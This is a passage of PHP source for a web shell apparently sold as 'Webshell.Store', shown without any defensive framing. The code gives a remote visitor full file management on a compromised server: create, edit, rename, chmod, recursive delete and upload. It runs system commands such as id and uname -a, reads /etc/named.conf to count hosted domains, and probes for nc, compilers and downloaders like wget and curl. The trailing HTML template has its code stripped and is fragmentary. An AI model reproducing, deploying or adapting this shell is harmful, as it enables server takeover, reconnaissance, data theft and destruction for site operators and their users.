f (file_put_contents($_POST['newFileName'], $_POST['newFileContent'])) { flash("Create File Successfully!", "Success", "success", "?dir=$path"); } else { flash("Create File Failed", "Failed", "error", "?dir=$path"); } } if (isset($_POST['newName']) && isset($_GET['item'])) { if ($_POST['newName'] == '') { flash("You miss an important value", "Ooopss..", "warning", "?dir=$path"); } if (rename($path . '/' . $_GET['item'], $_POST['newName'])) { flash("Rename Successfully!", "Success", "success", "?dir=$path"); } else { flash("Rename Failed", "Failed", "error", "?dir=$path"); } } if (isset($_POST['newContent']) && isset($_GET['item'])) { // Decode the base64 encoded content from client side $decodedContent = base64_decode($_POST['newContent']); if (file_put_contents($path . '/' . $_GET['item'], $decodedContent)) { flash("Edit Successfully!", "Success", "success", "?dir=$path"); } else { flash("Edit Failed", "Failed", "error", "?dir=$path"); } } if (isset($_POST['newPerm']) && isset($_GET['item'])) { if ($_POST['newPerm'] == '') { flash("You miss an important value", "Ooopss..", "warning", "?dir=$path"); } if (chmod($path . '/' . $_GET['item'], $_POST['newPerm'])) { flash("Change Permission Successfully!", "Success", "success", "?dir=$path"); } else { flash("Change Permission", "Failed", "error", "?dir=$path"); } } if (isset($_GET['action'])) { $action = $_GET['action']; if ($action == 'delete' && isset($_GET['item'])) { function removedir($dir) { if (!file_exists($dir)) { return false; } if (is_file($dir)) { return unlink($dir); } $files = array_diff(scandir($dir), ['.', '..']); foreach ($files as $file) { $path = $dir . DIRECTORY_SEPARATOR . $file; if (is_dir($path)) { removedir($path); } else { unlink($path); } } return rmdir($dir); } $item_path = $path . DIRECTORY_SEPARATOR . $_GET['item']; if (is_dir($item_path)) { if (removedir($item_path)) { flash("Delete Folder Successfully!", "Success", "success", "?dir=$path"); } else { flash("Delete Folder Failed", "Failed", "error", "?dir=$path"); } } else if (is_file($item_path)) { if (unlink($item_path)) { flash("Delete File Successfully!", "Success", "success", "?dir=$path"); } else { flash("Delete File Failed", "Failed", "error", "?dir=$path"); } } else { flash("Item not found!", "Failed", "error", "?dir=$path"); } } } if (isset($_FILES['uploadfile'])) { $total = count($_FILES['uploadfile']['name']); for ($i = 0; $i < $total; $i++) { $mainupload = move_uploaded_file($_FILES['uploadfile']['tmp_name'][$i], $_FILES['uploadfile']['name'][$i]); } if ($total < 2) { if ($mainupload) { flash("Upload File Successfully! ", "Success", "success", "?dir=$path"); } else { flash("Upload Failed", "Failed", "error", "?dir=$path"); } } else { if ($mainupload) { flash("Upload $i Files Successfully! ", "Success", "success", "?dir=$path"); } else { flash("Upload Failed", "Failed", "error", "?dir=$path"); } } } $d0mains = @file("/etc/named.conf", false); if (!$d0mains) { $dom = "Cant read [ /etc/named.conf ]"; $GLOBALS["need_to_update_header"] = "true"; } else { $count = 0; foreach ($d0mains as $d0main) { if (@strstr($d0main, "zone")) { preg_match_all('#zone "(.*)"#', $d0main, $domains); flush(); if (strlen(trim($domains[1][0])) > 2) { flush(); $count++; } } } $dom = "$count Domain"; } if (strtolower(substr(PHP_OS, 0, 3)) == "win") { $sys = "win"; } else { $sys = "unix"; } if ($sys == 'unix') { $useful = ""; $downloader = ""; if (!@ini_get('safe_mode')) { if (strlen(cmd("id")) > 0) { $userful = ['gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzialfa2', 'nc', 'locate', 'suidperl', 'git', 'docker', 'ssh']; $x = 0; foreach ($userful as $i) { if (which($i)) { $x++; $useful .= $i . ', '; } } if ($x == 0) { $useful = '--------'; } $downloaders = ['wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror']; $x = 0; foreach ($downloaders as $i) { if (which($i)) { $x++; $downloader .= $i . ', '; } } if ($x == 0) { $downloader = '--------'; } } else { $useful = '--------'; $downloader = '--------'; } } else { $useful = '--------'; $downloader = '--------'; } } $ip = gethostbyname($_SERVER['HTTP_HOST']); $uip = $_SERVER['REMOTE_ADDR']; $serv = $_SERVER['HTTP_HOST']; $soft = $_SERVER['SERVER_SOFTWARE']; $cmd_uname = cmd("uname -a"); $uname = function_exists('php_uname') ? substr(@php_uname(), 0, 120) : (strlen($cmd_uname) > 0 ? $cmd_uname : 'Uname Error!'); $total = disk_total_space($path); $free = disk_free_space($path); $pers = (int)($free / $total * 100); $ds = @ini_get("disable_functions"); $show_ds = (!empty($ds)) ? "$ds" : "All function is accessible"; if (@ini_get('open_basedir')) { $basedir_data = @ini_get('open_basedir'); if (strlen($basedir_data) > 120) { $open_b = "" . substr($basedir_data, 0, 120) . "..."; } else { $open_b = '' . $basedir_data . ''; } } else { $open_b = 'NONE'; } if (!function_exists('posix_getegid')) { $user = function_exists("get_current_user") ? @get_current_user() : "????"; $uid = function_exists("getmyuid") ? @getmyuid() : "????"; $gid = function_exists("getmygid") ? @getmygid() : "????"; $group = "?"; } else { $uid = function_exists("posix_getpwuid") && function_exists("posix_geteuid") ? @posix_getpwuid(posix_geteuid()) : ["name" => "????", "uid" => "????"]; $gid = function_exists("posix_getgrgid") && function_exists("posix_getegid") ? @posix_getgrgid(posix_getegid()) : ["name" => "????", "gid" => "????"]; $user = $uid['name']; $uid = $uid['uid']; $group = $gid['name']; $gid = $gid['gid']; } $dirs = scandir($path); ?> Store : Webshell.Store
 | Your IP:
 [  ]
$pat) : if ($pat == '' && $id == 0): ?> / " class="text-decoration-none text-light"> /


Operating System :
User / Group : [] / []
PHP Version :
IP Server :
Your IP :
Storage : Total = , Free = [%]
Domains :
Software :
Disable Functions :
Useful Functions :
Downloader :
CURL : ON' : 'OFF' ?> | SSH2 : ON' : 'OFF' ?> | Magic Quotes : ON' : 'OFF' ?> | MySQL : ON' : 'OFF' ?> | MSSQL : ON' : 'OFF' ?> | PostgreSQL : ON' : 'OFF' ?> | Oracle : ON' : 'OFF' ?>
Safe Mode : ON' : 'OFF' ?> | Open Basedir : | Safe Mode Exec Dir : ' . @ini_get('safe_mode_exec_dir') . '' : 'NONE' ?> | Safe Mode Include Dir : ' . @ini_get('safe_mode_include_dir') . '' : 'NONE' ?>
"; ?>
Name Type Size Owner/Group Permission Last Modified Actions
- '; if (is_writable($path . '/' . $dir)) echo ''; elseif (!is_readable($path . '/' . $dir)) echo ''; echo perms($path . '/' . $dir); if (is_writable($path . '/' . $dir) || !is_readable($path . '/' . $dir)) echo ''; ?>
'; if (is_writable($path . '/' . $dir)) echo ''; elseif (!is_readable($path . '/' . $dir)) echo ''; echo perms($path . '/' . $dir); if (is_writable($path . '/' . $dir) || !is_readable($path . '/' . $dir)) echo ''; ?>

Copyright © ULTRA